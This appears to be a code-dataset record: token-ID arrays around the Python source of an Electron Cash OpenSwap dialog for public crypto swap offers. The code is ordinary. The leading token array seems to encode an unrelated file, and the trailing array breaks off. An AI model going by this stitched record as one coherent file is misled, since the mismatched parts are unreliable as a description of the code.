[ 1, 515, 25638, 1053, 16417, 29892, 9846, 5696, 13, 3166, 19229, 1053, 8251, 519, 29892, 7761, 13, 13, 5215, 4842, 305, 13, 3166, 4842, 305, 1053, 302, 29876, 13, 13, 3166, 869, 13239, 1053, 1065, 29918, 20155, 29885, 29918, 265, 29918, 11918, 29918, 2848, 29918, 11762, 29879, 13, 13, 13, 29937, 14402, 29901, 12048, 1598, 4072, 297, 1804, 3698, 13, 13, 1990, 21086, 2792, 8566, 6119, 29898, 15755, 29889, 7355, 29892, 16417, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 13, 9651, 1583, 29892, 13, 9651, 7636, 29918, 1853, 29892, 13, 9651, 1881, 29918, 2311, 29901, 938, 29892, 13, 9651, 1962, 29918, 2311, 29901, 938, 29892, 13, 9651, 282, 29901, 5785, 29892, 13, 9651, 671, 29918, 16626, 29918, 287, 2710, 29901, 6120, 29892, 13, 9651, 334, 5085, 29892, 13, 9651, 3579, 19290, 29892, 13, 268, 1125, 13, 4706, 2428, 2141, 1649, 2344, 1649, 580, 13, 13, 4706, 1583, 29889, 12864, 29918, 1853, 353, 7636, 29918, 1853, 13, 4706, 1583, 29889, 2080, 29918, 2311, 353, 1881, 29918, 2311, 13, 4706, 1583, 29889, 4905, 29918, 2311, 353, 1962, 29918, 2311, 13, 4706, 1583, 29889, 29886, 353, 282, 13, 4706, 1583, 29889, 1509, 29918, 16626, 29918, 287, 2710, 353, 671, 29918, 16626, 29918, 287, 2710, 13, 13, 4706, 1583, 3032, 4282, 10456, 5085, 29892, 3579, 19290, 29897, 13, 13, 1678, 732, 16595, 5696, 13, 1678, 822, 903, 4282, 29918, 510, 2109, 261, 29898, 1311, 29892, 334, 5085, 29892, 3579, 19290, 29897, 1599, 938, 29901, 13, 4706, 9995, 8893, 278, 5769, 261, 29889, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 938, 13, 9651, 450, 2159, 310, 278, 1962, 310, 278, 5769, 261, 29889, 13, 4706, 9995, 13, 4706, 1209, 13, 13, 1678, 822, 903, 4282, 29898, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 1583, 29889, 510, 2109, 261, 29918, 4905, 29918, 2311, 353, 1583, 3032, 4282, 29918, 510, 2109, 261, 10456, 5085, 29892, 3579, 19290, 29897, 13, 4706, 1583, 29889, 20155, 29885, 353, 302, 29876, 29889, 29931, 1254, 29924, 29898, 13, 9651, 1881, 29918, 2311, 29922, 1311, 29889, 510, 2109, 261, 29918, 4905, 29918, 2311, 29892, 13, 9651, 7934, 29918, 2311, 29922, 1311, 29889, 4905, 29918, 2311, 29892, 13, 9651, 9853, 29918, 4102, 29922, 5574, 13, 4706, 1723, 13, 4706, 1583, 29889, 8865, 449, 353, 302, 29876, 29889, 15063, 449, 29898, 1311, 29889, 29886, 29897, 13, 13, 1678, 732, 16595, 5696, 13, 1678, 822, 14405, 29898, 1311, 29892, 7636, 29918, 28631, 29918, 1761, 29892, 22092, 943, 29918, 12864, 29918, 1767, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 6375, 29898, 13, 9651, 1583, 29892, 13, 9651, 2943, 29918, 18434, 29918, 303, 29892, 13, 9651, 22092, 943, 29892, 13, 9651, 22092, 943, 29918, 12864, 29918, 1767, 29892, 13, 9651, 937, 29918, 18434, 29918, 513, 1575, 29892, 13, 9651, 5922, 13, 268, 1125, 13, 4706, 7636, 29918, 28631, 29918, 1761, 353, 5159, 259, 396, 518, 4557, 310, 22092, 943, 29892, 4236, 29918, 400, 29892, 2106, 29918, 6229, 29962, 13, 4706, 363, 474, 29892, 12307, 29918, 28631, 297, 26985, 29898, 484, 1141, 29890, 943, 1125, 13, 9651, 565, 7431, 29898, 484, 1141, 4089, 29918, 28631, 1125, 13, 18884, 7636, 29918, 28631, 29918, 1761, 29889, 4397, 29898, 13, 462, 1678, 4842, 305, 29889, 1429, 29898, 484, 1141, 4089, 29918, 28631, 29892, 3964, 29922, 29900, 876, 13, 9651, 1683, 29901, 13, 18884, 7431, 29918, 484, 1141, 4089, 29918, 3859, 353, 2533, 29898, 13, 462, 1678, 518, 2435, 29898, 1165, 267, 29897, 363, 27815, 297, 5922, 29961, 1311, 29889, 12864, 29918, 1853, 29961, 29896, 29962, 1822, 5975, 580, 29962, 13, 18884, 1723, 13, 18884, 7636, 29918, 28631, 29918, 1761, 29889, 4397, 29898, 13, 462, 1678, 4842, 305, 29889, 3298, 359, 29898, 13, 462, 4706, 313, 29896, 29892, 2943, 29918, 18434, 29918, 303, 29889, 12181, 29961, 29896, 1402, 7431, 29918, 484, 1141, 4089, 29918, 3859, 511, 13, 462, 4706, 4742, 29922, 3177, 29918, 18434, 29918, 303, 29889, 10141, 13, 462, 1678, 1723, 13, 18884, 1723, 13, 13, 4706, 12420, 29918, 484, 1141, 29890, 943, 29892, 12420, 29918, 12864, 29918, 13168, 29879, 353, 1583, 29889, 17743, 457, 29898, 13, 9651, 7636, 29918, 28631, 29918, 1761, 29892, 13, 9651, 22092, 943, 29918, 12864, 29918, 1767, 13, 4706, 1723, 13, 13, 4706, 14002, 29918, 18434, 353, 4842, 305, 29889, 4117, 29898, 13, 9651, 518, 17743, 1312, 29918, 484, 1141, 29890, 943, 29892, 2943, 29918, 18434, 29918, 303, 1402, 13, 9651, 3964, 10457, 29896, 13, 4706, 1723, 13, 13, 4706, 14391, 29892, 903, 353, 1065, 29918, 20155, 29885, 29918, 265, 29918, 11918, 29918, 2848, 29918, 11762, 29879, 29898, 13, 9651, 1583, 29889, 20155, 29885, 29892, 13, 9651, 2441, 29918, 11762, 29879, 29922, 12090, 29918, 18434, 29892, 13, 9651, 5224, 29918, 513, 1575, 29922, 4102, 29918, 18434, 29918, 513, 1575, 13, 4706, 1723, 13, 4706, 14391, 353, 1583, 29889, 8865, 449, 29898, 4905, 29879, 29897, 13, 4706, 1833, 29918, 2248, 29918, 546, 29918, 16506, 353, 19691, 4102, 29918, 18434, 29918, 513, 1575, 718, 29871, 29896, 29897, 13, 13, 4706, 3240, 353, 14391, 29961, 13, 9651, 4842, 305, 29889, 279, 927, 29898, 2435, 29898, 4230, 29918, 2248, 29918, 546, 29918, 16506, 8243, 13, 9651, 1833, 29918, 2248, 29918, 546, 29918, 16506, 13, 4706, 4514, 13, 13, 4706, 565, 1583, 29889, 1509, 29918, 16626, 29918, 287, 2710, 29901, 13, 9651, 3240, 334, 29922, 12420, 29918, 12864, 29918, 13168, 29879, 13, 13, 4706, 736, 3240, 13, 13, 13, 1990, 4367, 1682, 292, 23894, 2792, 8566, 6119, 29898, 23894, 2792, 8566, 6119, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 13, 9651, 1583, 29892, 13, 9651, 7636, 29918, 1853, 29892, 13, 9651, 1881, 29918, 2311, 29901, 938, 29892, 13, 9651, 1962, 29918, 2311, 29901, 938, 29892, 13, 9651, 282, 29901, 5785, 29892, 13, 9651, 671, 29918, 16626, 29918, 287, 2710, 29901, 6120, 29892, 13, 9651, 10032, 29901, 7761, 29961, 5594, 519, 29892, 851, 1402, 13, 268, 1125, 13, 4706, 2428, 2141, 1649, 2344, 12035, 13, 9651, 7636, 29918, 1853, 29892, 13, 9651, 1881, 29918, 2311, 29892, 13, 9651, 1962, 29918, 2311, 29892, 13, 9651, 282, 29892, 13, 9651, 671, 29918, 16626, 29918, 287, 2710, 29892, 13, 9651, 10032, 13, 4706, 1723, 13, 13, 1678, 822, 903, 4282, 29918, 510, 2109, 261, 29898, 1311, 29892, 10032, 29897, 1599, 938, 29901, 13, 4706, 565, 338, 8758, 29898, 17469, 29892, 851, 1125, 13, 9651, 10032, 353, 679, 5552, 29898, 7345, 305, 29892, 10032, 29897, 13, 4706, 1583, 29889, 17469, 353, 10032, 13, 13, 4706, 736, 1583, 29889, 2080, 29918, 2311, 13, 13, 1678, 822, 14405, 29898, 1311, 29892, 7636, 29918, 28631, 29918, 1761, 29892, 22092, 943, 29918, 12864, 29918, 1767, 1125, 13, 4706, 1015, 29918, 932, 2957, 29918, 12864, 29918, 28631, 29918, 1761, 353, 5159, 13, 4706, 363, 22092, 943, 29918, 3859, 297, 7636, 29918, 28631, 29918, 1761, 29901, 13, 9651, 1015, 29918, 932, 2957, 29918, 12864, 29918, 28631, 29918, 1761, 29889, 4397, 29898, 13, 18884, 1583, 29889, 17469, 29898, 484, 1141, 29890, 943, 29918, 3859, 29892, 3964, 29922, 29900, 29897, 13, 9651, 1723, 13, 4706, 12420, 29918, 484, 1141, 29890, 943, 353, 4842, 305, 29889, 1429, 29898, 459, 29918, 932, 2957, 29918, 12864, 29918, 28631, 29918, 1761, 29892, 3964, 29922, 29900, 29897, 13, 13, 4706, 12420, 29918, 12864, 29918, 13168, 29879, 353, 6213, 13, 4706, 565, 1583, 29889, 1509, 29918, 16626, 29918, 287, 2710, 29901, 13, 9651, 396, 10575, 1286, 367, 313, 5824, 29892, 931, 29892, 29871, 29896, 29897, 13, 9651, 1015, 29918, 932, 2957, 29918, 12864, 29918, 13168, 29918, 1761, 353, 5159, 13, 9651, 363, 7636, 29918, 1767, 297, 22092, 943, 29918, 12864, 29918, 1767, 29901, 13, 18884, 1015, 29918, 932, 2957, 29918, 12864, 29918, 13168, 29918, 1761, 29889, 4397, 29898, 13, 462, 1678, 4842, 305, 29889, 695, 1160, 29898, 13, 462, 4706, 1583, 29889, 17469, 29898, 12864, 29918, 1767, 29892, 3964, 29922, 29900, 29892, 3013, 6229, 29922, 5574, 511, 13, 462, 4706, 4236, 29922, 29896, 13, 462, 1678, 1723, 13, 18884, 1723, 13, 9651, 12420, 29918, 12864, 29918, 13168, 29879, 353, 4842, 305, 29889, 1429, 29898, 459, 29918, 932, 2957, 29918, 12864, 29918, 13168, 29918, 1761, 29892, 3964, 29922, 29900, 29897, 13, 13, 4706, 736, 12420, 29918, 484, 1141, 29890, 943, 29892, 12420, 29918, 12864, 29918, 13168, 29879, 13, 13, 13, 1990, 8984, 6779, 23894, 2792, 8566, 6119, 29898, 23894, 2792, 8566, 6119, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 13, 9651, 1583, 29892, 13, 9651, 7636, 29918, 1853, 29892, 13, 9651, 1881, 29918, 2311, 29901, 938, 29892, 13, 9651, 1962, 29918, 2311, 29901, 938, 29892, 13, 9651, 282, 29901, 5785, 29892, 13, 9651, 671, 29918, 16626, 29918, 287, 2710, 29901, 6120, 29892, 13, 268, 1125, 13, 4706, 2428, 2141, 1649, 2344, 12035, 13, 9651, 7636, 29918, 1853, 29892, 13, 9651, 1881, 29918, 2311, 29892, 13, 9651, 1962, 29918, 2311, 29892, 13, 9651, 282, 29892, 13, 9651, 671, 29918, 16626, 29918, 287, 2710, 29892, 13, 4706, 1723, 13, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 903, 4282, 29918, 510, 2109, 261, 29898, 1311, 29897, 1599, 938, 29901, 13, 4706, 736, 29871, 29900, 13, 13, 1678, 822, 14405, 29898, 1311, 29892, 7636, 29918, 28631, 29918, 1761, 29892, 22092, 943, 29918, 12864, 29918, 1767, 1125, 13, 4706, 1209, 13, 13, 13, 1990, 6212, 2509, 23894, 2792, 8566, 6119, 29898, 23894, 2792, 8566, 6119, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 13, 9651, 1583, 29892, 13, 9651, 7636, 29918, 1853, 29892, 13, 9651, 1881, 29918, 2311, 29901, 938, 29892, 13, 9651, 1962, 29918, 2311, 29901, 938, 29892, 13, 9651, 282, 29901, 5785, 29892, 13, 9651, 671, 29918, 16626, 29918, 287, 2710, 29901, 6120, 29892, 13, 268, 1125, 13, 4706, 2428, 2141, 1649, 2344, 12035, 13, 9651, 7636, 29918, 1853, 29892, 13, 9651, 1881, 29918, 2311, 29892, 13, 9651, 1962, 29918, 2311, 29892, 13, 9651, 282, 29892, 13, 9651, 671, 29918, 16626, 29918, 287, 2710, 29892, 13, 4706, 1723, 13, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 903, 4282, 29918, 510, 2109, 261, 29898, 1311, 29897, 1599, 938, 29901, 13, 4706, 736, 29871, 29900, 13, 13, 1678, 822, 14405, 29898, 1311, 29892, 7636, 29918, 28631, 29918, 1761, 29892, 22092, 943, 29918, 12864, 29918, 1767, 1125, 13, 4706, 1209, 13, 2 ]
gui/qt/openswap_public.py
ComputerCraftr/openswap
16
109757
""" OpenSwap main public messaging """ import time from html import escape try: # python 3.6 + from secrets import token_bytes except ImportError: from os import urandom as token_bytes from electroncash.i18n import _ from electroncash.address import Address import electroncash.web as web from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * from .util import * from .qrtextedit import ShowQRTextEdit from electroncash import bchmessage from electroncash import openswap from electroncash.util import print_error, print_stderr from .openswap_offerinfo import OfferInfoDialog from electroncash.util import format_satoshis_plain_nofloat, get_satoshis_nofloat from electroncash.openswap import cryptos, crypto_list_by_bytes, crypto_list_by_str from .openswap_priceinfo import PriceInfoBox dialogs = [] # Otherwise python randomly garbage collects the dialogs... def prompt_dialog(main_window, c1, c2, pmw=None): # Make a selector dialog then use it to start up the public channel # tb1 = crypto_list_by_bytes[c1] tb2 = crypto_list_by_bytes[c2] if tb1 > tb2: # make sure they are ordered properly c1, c2, tb1, tb2 = c2, c1, tb2, tb1 channame = "OpenSwap Offers %s %s"%(tb1.hex(), tb2.hex()) channel = bchmessage.Channel.from_name(channame) network = main_window.network cmw = bchmessage.ChanMessageWatcher(network, channel) show_dialog(main_window, cmw, c1, c2, pmw=pmw) def show_dialog(*args, **kwargs): d = OpenSwapPublicDialog(*args, **kwargs) dialogs.append(d) d.show() TX_ICONS = [ "warning.png", "warning.png", "unconfirmed.png", "unconfirmed.png", "clock1.png", "clock2.png", "clock3.png", "clock4.png", "clock5.png", "confirmed.png", ] class OpenSwapPublicDialog(QDialog, MessageBoxMixin): gotDecryptSig = pyqtSignal(str) def __init__(self, main_window, cmw, c1, c2, pmw=None): # cmw - ChanMessageWatcher # c1, c2 - indices of cryptos 1 and 2 # pmw - optional PrivMessageWatcher to write messages (if None, just view) # top level window QDialog.__init__(self, parent=None) self.cmw = cmw self.c1 = c1 self.c2 = c2 self.pmw = pmw self.address = self.cmw.address self.channel = self.cmw.channel self.wallet = cmw.wallet self.main_window = main_window self.config = main_window.config self.app = main_window.app self.n1 = crypto_list_by_str[self.c1] self.n2 = crypto_list_by_str[self.c2] self.b1 = crypto_list_by_bytes[self.c1] self.b2 = crypto_list_by_bytes[self.c2] self.setWindowTitle(_("OpenSwap advertisements") + " %s \u2014 %s"%(self.n1, self.n2)) self.setMinimumWidth(700) vbox = QVBoxLayout() self.setLayout(vbox) try: vbox.addWidget(QLabel(_("Channel name") + ': ' + repr(self.channel.name))) except: pass vbox.addWidget(QLabel(_("Key") + ': ' + self.channel.chankey.hex())) l = QLabel(_("Address") + ': ' + self.address.to_ui_string()) vbox.addWidget(l) l.setTextInteractionFlags(Qt.TextSelectableByMouse) vbox.addWidget(QLabel(_("History"))) self.hw = MyHistoryList(self) vbox.addWidget(self.hw) hbox = QHBoxLayout() #b = QPushButton(_("Write")) #b.clicked.connect(lambda: self.write_message()) #hbox.addWidget(b) b = QPushButton(_("Offer") + " " + self.n1) b.clicked.connect(lambda: self.make_public_offer(self.c2, self.c1)) if not self.pmw: b.setDisabled(True) hbox.addWidget(b) b = QPushButton(_("Offer") + " " + self.n2) b.clicked.connect(lambda: self.make_public_offer(self.c1, self.c2)) if not self.pmw: b.setDisabled(True) hbox.addWidget(b) hbox.addStretch(1) hbox.addWidget(CloseButton(self)) vbox.addLayout(hbox) self.show() self.gotDecryptSig.connect(self.hw.got_decrypted) def on_success(result): self.network = cmw.network cmw.callbacks_decrypted.append(self.gotDecryptSig.emit) self.hw.update() d = WaitingDialog(self, _('Opening...'), cmw.start, on_success, None) def closeEvent(self, event): event.accept() try: dialogs.remove(self) except ValueError: pass self.cmw.stop() def reject(self,): self.close() def get_domain(self): return [self.address] def broadcast_tx(self, tx): def callback(response): err = response.get('error') if err: try: print_stderr("Transaction broadcast error", err['code'], err['message']) except: print_stderr("Transaction broadcast error:", err) else: print_error("Transaction broadcast result:", response) # --verbose only try: self.network.broadcast_transaction(tx.serialize(), callback=callback) return True except Exception as e: self.show_error("Error: %s"%(str(e))) return False def make_public_offer(self, c1, c2): d = QDialog(self) d.setWindowTitle(_("Make Public Offer")) wallet = self.pmw.wallet key = self.pmw.key mypubkey = key.pubkey layout = QVBoxLayout() d.setLayout(layout) pi = PriceInfoBox(self, True) pi.want_crypto_cb.setCurrentIndex(c1) pi.want_crypto_cb.setDisabled(True) pi.give_crypto_cb.setCurrentIndex(c2) pi.give_crypto_cb.setDisabled(True) layout.addWidget(pi) hbox = QHBoxLayout() layout.addLayout(hbox) hbox.addStretch(1) b = QPushButton(_("Cancel")) b.clicked.connect(d.reject) hbox.addWidget(b) b = QPushButton(_("Send")) b.clicked.connect(d.accept) hbox.addWidget(b) d.setWindowModality(Qt.WindowModal) if not d.exec_(): return try: amtw = get_satoshis_nofloat(pi.want_amount_e.text()) amtg = get_satoshis_nofloat(pi.give_amount_e.text()) except Exception as e: self.show_error(_("Cannot parse amount:") + str(e)) if c1 == self.c1 and c2 == self.c2: msgbytes = b'\x00\x00' + amtw.to_bytes(8,'big') + amtg.to_bytes(8,'big') elif c1 == self.c2 and c2 == self.c1: msgbytes = b'\x00\x01' + amtg.to_bytes(8,'big') + amtw.to_bytes(8,'big') data = self.channel.auth_encrypt(msgbytes, mypubkey) try: tx = key.create_message(wallet, self.channel.address, data, self.config) self.broadcast_tx(tx) except bchmessage.NotEnoughFunds: self.show_error("Not enough funds on this address.") def make_private_offer(self, dest_pubkey, order_12, amtw, amtg): # Used for start of negotiation wallet = self.pmw.wallet key = self.pmw.key now = int(time.time()) offer = openswap.OfferInfo( salt = token_bytes(8), want_rtime = now + 10*3600, give_rtime = now + 5*3600, want_amount = amtg, want_ticker = self.b1 if order_12 else self.b2, give_amount = amtw, give_ticker = self.b2 if order_12 else self.b1, ) d = OfferInfoDialog(self, offer, dest_pubkey, mode='create') res = d.exec_() if res: try: offerinfo = d.get_offerinfo() pak = openswap.PacketOffer.make(key.privkey, dest_pubkey, offerinfo) offermsg = openswap.OpenSwapMessage([pak], autopad=204) messagebytes = offermsg.to_bytes() data = key.encrypt_private_message(messagebytes, dest_pubkey) tx = key.create_message(wallet, Address.from_pubkey(dest_pubkey), data, self.config) self.broadcast_tx(tx) except bchmessage.NotEnoughFunds: self.show_error("Not enough funds on this address.") except Exception as e: import traceback traceback.print_exc() self.show_error(str(e)) class MyHistoryList(MyTreeWidget): # filter_columns = [2, 3, 4] # Date, Description, Amount def __init__(self, parent): MyTreeWidget.__init__(self, parent, self.create_menu, ['', _('Date'), _('From'), _('Data') ], 3, []) self.setSortingEnabled(True) self.sortByColumn(0, Qt.AscendingOrder) self.monospaceFont = QFont(MONOSPACE_FONT) self.statusIcons = {} self.wallet = parent.wallet self.incoming_offers = {} # saved incoming offer packets def got_decrypted(self, tx_hash): self.update() def on_update(self): item = self.currentItem() current_tx = item.data(0, Qt.UserRole) if item else None self.clear() cmw = self.parent.cmw wallet = self.wallet chanaddress = cmw.address pmw = self.parent.pmw if pmw: mypubkey = pmw.key.pubkey else: mypubkey = None # internal function to be called within loop below def putitem(i, datastr): item = SortableTreeWidgetItem([ '', status_str, 'me' if from_me else from_pubkey[-3:].hex(), datastr, ]) if status not in self.statusIcons: self.statusIcons[status] = QIcon(":icons/" + TX_ICONS[status]) icon = self.statusIcons[status] item.setIcon(0, icon) item.setData(0, SortableTreeWidgetItem.DataRole, (status, conf)) item.setToolTip(0, str(conf) + " confirmation" + ("s" if conf != 1 else "")) item.setData(0, Qt.UserRole, tx_hash) item.setData(2, Qt.UserRole, from_pubkey) item.setToolTip(3, '<p>%s</p>'%(escape(datastr),)) self.insertTopLevelItem(0, item) if current_tx == tx_hash: self.setCurrentItem(item) return item for tx_hash, height in wallet.get_address_history(chanaddress): info = cmw.messageinfo.get(tx_hash) if not info: continue height, conf, timestamp = wallet.get_tx_height(tx_hash) status, status_str = wallet.get_tx_status(tx_hash, height, conf, timestamp) from_pubkey = info['src'] from_me = (from_pubkey == mypubkey) if info['status'] == 'processing': # tx needs to be verified putitem(0, 'verifying') continue messagebytes = info.get('message') if messagebytes is None: putitem(0, '?') continue try: tag = messagebytes[:2] assert len(messagebytes) == 18 if tag == b'\0\0': amtw = int.from_bytes(messagebytes[2:10], 'big') amtg = int.from_bytes(messagebytes[10:18], 'big') nw = self.parent.n1 ng = self.parent.n2 data = (False, amtw, amtg) elif tag == b'\0\1': amtg = int.from_bytes(messagebytes[2:10], 'big') amtw = int.from_bytes(messagebytes[10:18], 'big') ng = self.parent.n1 nw = self.parent.n2 data = (True, amtw, amtg) item = putitem(0, 'Wants %s %s for %s %s'%(format_satoshis_plain_nofloat(amtw), nw, format_satoshis_plain_nofloat(amtg), ng, )) item.setData(3, Qt.UserRole, data) except: item = putitem(0, 'raw:' + messagebytes.hex()) def on_doubleclick(self, item, column): if self.permit_edit(item, column): super().on_doubleclick(item, column) else: tx_hash = item.data(0, Qt.UserRole) tx = self.wallet.transactions.get(tx_hash) self.parent.main_window.show_transaction(tx) def create_menu(self, position): self.selectedIndexes() item = self.currentItem() if not item: return tx_hash = item.data(0, Qt.UserRole) if not tx_hash: return pmw = self.parent.pmw if pmw: mypubkey = pmw.key.pubkey else: mypubkey = None from_pubkey = item.data(2, Qt.UserRole) from_me = (from_pubkey == mypubkey) oinfo = item.data(3, Qt.UserRole) column = self.currentColumn() if column == 0: column_title = "ID" column_data = tx_hash elif column == 2: column_title = _("sender pubkey") column_data = from_pubkey.hex() else: column_title = self.headerItem().text(column) column_data = item.text(column) menu = QMenu() if not (from_me or oinfo is None): menu.addAction(_("Negotiate"), lambda: self.parent.make_private_offer(from_pubkey, *oinfo)) menu.addAction(_("Copy {}").format(column_title), lambda: self.parent.app.clipboard().setText(column_data)) def showtx(): tx = self.wallet.transactions.get(tx_hash) self.parent.main_window.show_transaction(tx) menu.addAction(_("View Tx"), showtx) menu.exec_(self.viewport().mapToGlobal(position))
[ 1, 9995, 13, 6585, 10840, 481, 1667, 970, 4473, 6751, 13, 15945, 29908, 13, 13, 5215, 931, 13, 3166, 3472, 1053, 10169, 13, 13, 2202, 29901, 13, 1678, 396, 3017, 29871, 29941, 29889, 29953, 718, 13, 1678, 515, 22183, 1372, 1053, 5993, 29918, 13193, 13, 19499, 16032, 2392, 29901, 13, 1678, 515, 2897, 1053, 5065, 2685, 408, 5993, 29918, 13193, 13, 13, 3166, 11966, 29883, 1161, 29889, 29875, 29896, 29947, 29876, 1053, 903, 13, 3166, 11966, 29883, 1161, 29889, 7328, 1053, 16428, 13, 5215, 11966, 29883, 1161, 29889, 2676, 408, 1856, 13, 13, 3166, 10772, 17303, 29945, 29889, 17303, 9203, 1053, 334, 13, 3166, 10772, 17303, 29945, 29889, 17303, 28707, 1053, 334, 13, 3166, 10772, 17303, 29945, 29889, 17303, 8801, 29879, 1053, 334, 13, 13, 3166, 869, 4422, 1053, 334, 13, 3166, 869, 29939, 29878, 726, 5628, 1053, 7704, 29984, 29934, 1626, 6103, 13, 13, 3166, 11966, 29883, 1161, 1053, 289, 305, 4906, 13, 3166, 11966, 29883, 1161, 1053, 13246, 29893, 481, 13, 3166, 11966, 29883, 1161, 29889, 4422, 1053, 1596, 29918, 2704, 29892, 1596, 29918, 303, 20405, 13, 13, 3166, 869, 22156, 29893, 481, 29918, 974, 571, 3888, 1053, 4587, 571, 3401, 7647, 13, 13, 3166, 11966, 29883, 1161, 29889, 4422, 1053, 3402, 29918, 29879, 4507, 22880, 29918, 24595, 29918, 3998, 3071, 29892, 679, 29918, 29879, 4507, 22880, 29918, 3998, 3071, 13, 13, 3166, 11966, 29883, 1161, 29889, 22156, 29893, 481, 1053, 24941, 359, 29892, 274, 17929, 29918, 1761, 29918, 1609, 29918, 13193, 29892, 274, 17929, 29918, 1761, 29918, 1609, 29918, 710, 13, 3166, 869, 22156, 29893, 481, 29918, 9175, 3888, 1053, 20743, 3401, 3313, 13, 13, 13, 15901, 29879, 353, 5159, 29871, 396, 13466, 3017, 20459, 25861, 6314, 29879, 278, 7928, 29879, 856, 13, 13, 1753, 9508, 29918, 15901, 29898, 3396, 29918, 7165, 29892, 274, 29896, 29892, 274, 29906, 29892, 26354, 29893, 29922, 8516, 1125, 13, 1678, 396, 8561, 263, 11764, 7928, 769, 671, 372, 304, 1369, 701, 278, 970, 8242, 13, 1678, 396, 13, 1678, 260, 29890, 29896, 353, 274, 17929, 29918, 1761, 29918, 1609, 29918, 13193, 29961, 29883, 29896, 29962, 13, 1678, 260, 29890, 29906, 353, 274, 17929, 29918, 1761, 29918, 1609, 29918, 13193, 29961, 29883, 29906, 29962, 13, 1678, 565, 260, 29890, 29896, 1405, 260, 29890, 29906, 29901, 13, 4706, 396, 1207, 1854, 896, 526, 10372, 6284, 13, 4706, 274, 29896, 29892, 274, 29906, 29892, 260, 29890, 29896, 29892, 260, 29890, 29906, 353, 274, 29906, 29892, 274, 29896, 29892, 260, 29890, 29906, 29892, 260, 29890, 29896, 13, 1678, 521, 812, 420, 353, 376, 6585, 10840, 481, 5947, 414, 1273, 29879, 1273, 29879, 29908, 29995, 29898, 22625, 29896, 29889, 20970, 3285, 260, 29890, 29906, 29889, 20970, 3101, 13, 1678, 8242, 353, 289, 305, 4906, 29889, 13599, 29889, 3166, 29918, 978, 29898, 305, 812, 420, 29897, 13, 1678, 3564, 353, 1667, 29918, 7165, 29889, 11618, 13, 1678, 7477, 29893, 353, 289, 305, 4906, 29889, 1451, 273, 3728, 24709, 261, 29898, 11618, 29892, 8242, 29897, 13, 13, 1678, 1510, 29918, 15901, 29898, 3396, 29918, 7165, 29892, 7477, 29893, 29892, 274, 29896, 29892, 274, 29906, 29892, 26354, 29893, 29922, 3358, 29893, 29897, 13, 13, 1753, 1510, 29918, 15901, 10456, 5085, 29892, 3579, 19290, 1125, 13, 1678, 270, 353, 4673, 10840, 481, 19858, 7647, 10456, 5085, 29892, 3579, 19290, 29897, 13, 1678, 7928, 29879, 29889, 4397, 29898, 29881, 29897, 13, 1678, 270, 29889, 4294, 580, 13, 13, 28627, 29918, 2965, 1164, 29903, 353, 518, 13, 1678, 376, 27392, 29889, 2732, 613, 13, 1678, 376, 27392, 29889, 2732, 613, 13, 1678, 376, 348, 5527, 381, 2168, 29889, 2732, 613, 13, 1678, 376, 348, 5527, 381, 2168, 29889, 2732, 613, 13, 1678, 376, 13058, 29896, 29889, 2732, 613, 13, 1678, 376, 13058, 29906, 29889, 2732, 613, 13, 1678, 376, 13058, 29941, 29889, 2732, 613, 13, 1678, 376, 13058, 29946, 29889, 2732, 613, 13, 1678, 376, 13058, 29945, 29889, 2732, 613, 13, 1678, 376, 5527, 381, 2168, 29889, 2732, 613, 13, 29962, 13, 13, 1990, 4673, 10840, 481, 19858, 7647, 29898, 29984, 7647, 29892, 7777, 3313, 29924, 861, 262, 1125, 13, 1678, 2355, 6185, 4641, 29903, 335, 353, 11451, 17915, 10140, 284, 29898, 710, 29897, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1667, 29918, 7165, 29892, 7477, 29893, 29892, 274, 29896, 29892, 274, 29906, 29892, 26354, 29893, 29922, 8516, 1125, 13, 4706, 396, 7477, 29893, 448, 22433, 3728, 24709, 261, 13, 4706, 396, 274, 29896, 29892, 274, 29906, 448, 16285, 310, 24941, 359, 29871, 29896, 322, 29871, 29906, 13, 4706, 396, 26354, 29893, 448, 13136, 18936, 3728, 24709, 261, 304, 2436, 7191, 313, 361, 6213, 29892, 925, 1776, 29897, 13, 4706, 396, 2246, 3233, 3474, 13, 4706, 660, 7647, 17255, 2344, 12035, 1311, 29892, 3847, 29922, 8516, 29897, 13, 4706, 1583, 29889, 4912, 29893, 353, 7477, 29893, 13, 4706, 1583, 29889, 29883, 29896, 353, 274, 29896, 13, 4706, 1583, 29889, 29883, 29906, 353, 274, 29906, 13, 4706, 1583, 29889, 3358, 29893, 353, 26354, 29893, 13, 4706, 1583, 29889, 7328, 353, 1583, 29889, 4912, 29893, 29889, 7328, 13, 4706, 1583, 29889, 12719, 353, 1583, 29889, 4912, 29893, 29889, 12719, 13, 13, 4706, 1583, 29889, 14625, 1026, 353, 7477, 29893, 29889, 14625, 1026, 13, 13, 4706, 1583, 29889, 3396, 29918, 7165, 353, 1667, 29918, 7165, 13, 4706, 1583, 29889, 2917, 353, 1667, 29918, 7165, 29889, 2917, 13, 4706, 1583, 29889, 932, 353, 1667, 29918, 7165, 29889, 932, 13, 13, 4706, 1583, 29889, 29876, 29896, 353, 274, 17929, 29918, 1761, 29918, 1609, 29918, 710, 29961, 1311, 29889, 29883, 29896, 29962, 13, 4706, 1583, 29889, 29876, 29906, 353, 274, 17929, 29918, 1761, 29918, 1609, 29918, 710, 29961, 1311, 29889, 29883, 29906, 29962, 13, 4706, 1583, 29889, 29890, 29896, 353, 274, 17929, 29918, 1761, 29918, 1609, 29918, 13193, 29961, 1311, 29889, 29883, 29896, 29962, 13, 4706, 1583, 29889, 29890, 29906, 353, 274, 17929, 29918, 1761, 29918, 1609, 29918, 13193, 29961, 1311, 29889, 29883, 29906, 29962, 13, 4706, 1583, 29889, 842, 5907, 7030, 7373, 703, 6585, 10840, 481, 18811, 275, 4110, 1159, 718, 376, 1273, 29879, 320, 29884, 29906, 29900, 29896, 29946, 1273, 29879, 29908, 29995, 29898, 1311, 29889, 29876, 29896, 29892, 1583, 29889, 29876, 29906, 876, 13, 13, 4706, 1583, 29889, 842, 8140, 12539, 6110, 